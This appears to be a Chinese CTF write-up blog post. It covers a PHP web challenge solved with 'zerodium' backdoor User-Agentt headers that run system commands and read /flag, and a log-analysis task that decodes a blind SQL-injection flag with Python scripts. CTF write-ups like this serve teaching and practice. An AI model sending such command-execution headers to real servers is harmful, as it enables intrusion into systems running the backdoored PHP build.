目录标题
记录最近几场比赛的赛后复现
虎符CTF
Web-签到
根据文章提示,添加恶意请求头
User-Agentt: zerodiumphpinfo();
可以看到phpinfo内容

继续构造,查看根目录下的文件
User-Agentt: zerodiumsystem('ls /');

读取flag文件
User-Agentt: zerodiumsystem('cat /flag');

MISC-你会日志分析吗

分析日志,该日志应该是用脚本进行布尔盲注,最后一步是爆flag的值,发现有两种长度的包,猜测长度377代表爆值成功,长度399代表失败

列出长度为377的值
90 109 120 104 90 51 116 90 98 51 86 102 89 88 74 108 88 51 78 118 88 50 100 121 90 87 70 48 102 81 61 61
使用脚本进行处理
import base64
a=[90,109,120,104,90,51,116,90,98,51,86,102,89,88,74,108,88,51,78,118,88,50,100,121,90,87,70,48,102,81,61,61]
flag=''
for i in a:
flag=flag+chr(i)
print(flag)
print(base64.b64decode(flag))
得到
ZmxhZ3tZb3VfYXJlX3NvX2dyZWF0fQ==
b'flag{You_are_so_great}'
一个一个找长度为377的包太麻烦了,附上大师傅的脚本:
from base64 import *
flag = ''
with open('access.log','r') as f:
lines = f.readlines()
for line in lines:
if "select%20flag%20from%20flllag" in line:
packet_len = line[line.find(' 200 ')+5:line.find(' "-" "python-requests/2.21.0"')]
if packet_len == '377':
ascii_code = line[line.find('))=')+3:line.find(',sleep')]
ascii_str = chr(int(ascii_code))
flag += ascii_str
else:
pass
else:
pass
print(b64decode(flag).decode('utf-8'))
红明谷CTF
Web-write_shell
没报上名,在BUU上面找到的环境

本文详细复盘了多个CTF比赛中的挑战,包括通过PHP源代码分析获取flag,布尔盲注日志解析,短标签PHP过滤绕过,RAR伪加密解密,Java盲水印解码,HTTP流量包分析以及图片隐写等技巧,展示了Web安全和日志分析的实战应用。


1万+

被折叠的 条评论
为什么被折叠?



